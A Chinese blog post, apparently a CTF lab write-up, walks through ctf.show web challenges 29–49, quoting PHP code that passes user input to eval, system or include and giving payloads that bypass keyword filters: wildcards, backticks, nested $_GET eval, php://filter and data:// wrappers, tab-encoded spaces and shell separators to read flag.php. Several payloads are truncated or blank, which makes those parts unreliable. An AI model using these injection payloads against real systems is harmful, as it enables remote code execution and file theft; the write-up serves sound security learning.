您当前的位置: 首页 > 

ThnPkm

暂无认证

  • 2浏览

    0关注

    98博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

ctf.show web入门(命令执行)29~56

ThnPkm 发布时间:2022-01-27 23:55:14 ,浏览量:2

可以先学习一下命令执行绕过小技巧

web29
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

preg_match()函数学习一下:

preg_match函数是进行正则表达式的匹配,成功返回1,否则返回0

在这个正则里边有一个参数是i,这个在正则表达式里边是不区分大小写的一个参数

if(!preg_match("/flag/i", $c)){

只过滤flag【不区分大小写】

查看目录

?c=system('ls');

 获取flag.php ,关键字flag过滤,使用通配符? ,进去后看源码才行,我刚开始还以为不对

http://a111e37a-dea4-4ef4-8e83-c190d2a32321.challenge.ctf.show/?c=system("cat fla?.php");

:cp命令将flag.php保存到1.txt 再去访问1.txt

http://26f678d1-972b-4c70-a138-a71bdb90d4b5.challenge.ctf.show/?c=system("cp fla?.php 1.txt");
http://26f678d1-972b-4c70-a138-a71bdb90d4b5.challenge.ctf.show/1.txt

web30
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这次过滤了flag,system,php,

用` ` 来代替system()


http://d2fc7c45-703c-4caa-8dcd-acd57bb92193.challenge.ctf.show/?c=`cp fla?.p?? 1.txt`;
http://d2fc7c45-703c-4caa-8dcd-acd57bb92193.challenge.ctf.show/1.txt
web31

这题就过滤的更多了,包括cat 空格 都过滤了

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

我们可以用eval( )来操作, 这个1已经不属于c的内容了,所以不受过滤管控了,

得到空白页面右击看源码才能得到flag

ctf.show/?c=eval($_GET[1]);&1=system('cat flag.php');

 将cat 换成 tac 就可以直接看到flag,tac 是 cat 的反向显示

ctf.show/?c=eval($_GET[1]);&1=system('tac flag.php');

 也可以将空白用%09替代

ctf.show/?c=echo`tac%09fl*`;
web32
$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);

反引号,分号,括号 都不能用

没有括号的话不能使用上一题的eval(),所以要用没有括号的函数 比如include

分号可以用?>代替

还需要配合伪协议,通过特定的通道读取文件

/?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

拿到的是bsae64的数据,再去解码即可

web33
$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);

多过滤了一个"

使用上一题的方法一样可以出来,那换一个函数用require,也是一样的

/?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web34
$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);

多过滤了一个冒号,也不影响我们使用上面的方法

/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\&a=php://filter/convert.base64-encode/resource=flag.php
web37
 if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }

 通过data://text/plain协议来进行漏洞利用

/?c=data://text/plain,
web38
if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;

多过滤了php,file

使用上一题的方式就行,需要把php换成=   即    、

/?c=data://text/plains,
web39
$c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }

加了个后缀.php ,但是依旧不影响用data协议

/?c=data://text/plains,

 只是后面多了个.php

web40
$c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\|\/|\?|\\\\/i", $c)){
        eval($c);

 过滤了很多字符,每几个能用的

无参数读文件和RCE总结_合天网安学院-CSDN博客

看大佬文章学习 

print_r(scandir(current(localeconv())));成功打印出当前目录下文件:

也可以用print_r(scandir(getcwd()));

 flag是倒数第二个我们可以用:show_source(next(array_reverse(scandir(getcwd()))));

利用array_reverse()进行把数组翻转,再利用next()函数取到flag.php

/?c=show_source(next(array_reverse(scandir(getcwd()))));
web41
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");

数字字母都不能用了,比较麻烦,大概意思就是通过一些字符互相运算后构造得到我们的payload

这个博客,不会用第二个脚本

web42
$c=$_GET['c'];
    system($c." >/dev/null 2>&1");

>/dev/null 首先表示标准输出重定向到空设备文件,说白了就是不显示任何信息。 

2> 表示stderr标准错误 & 表示等同于的意思,2>&1,表示2的输出重定向等同于1

我们要让命令回显,使用双写命令,让后面那条命令进黑洞,好像可以为空,可以进行命令分隔

;    //分号 |    //只执行后面那条命令 ||    //只执行前面那条命令 &    //两条命令都会执行 &&    //两条命令都会执行

/?c=tac flag.php;
web43
if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");

过滤了cat和分号,

?c=tac flag.php ||
web44
if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }

flag禁用,通配符安排

/?c=tac fl* ||

web45
if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");

多过滤了一个空格,空格用%09绕过就行

/?c=tac%09fl*||
web46
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");

过滤了* 还有? 

/?c=tac%09fla?.php||
web47
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");

过滤了很多命令,但是tac还能用

/?c=tac%09fla?.php||
web48

与上题一样

web49
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");

过滤了%,可以用 |\

关注
打赏
1660722558
查看更多评论
立即登录/注册

微信扫码登录

0.0365s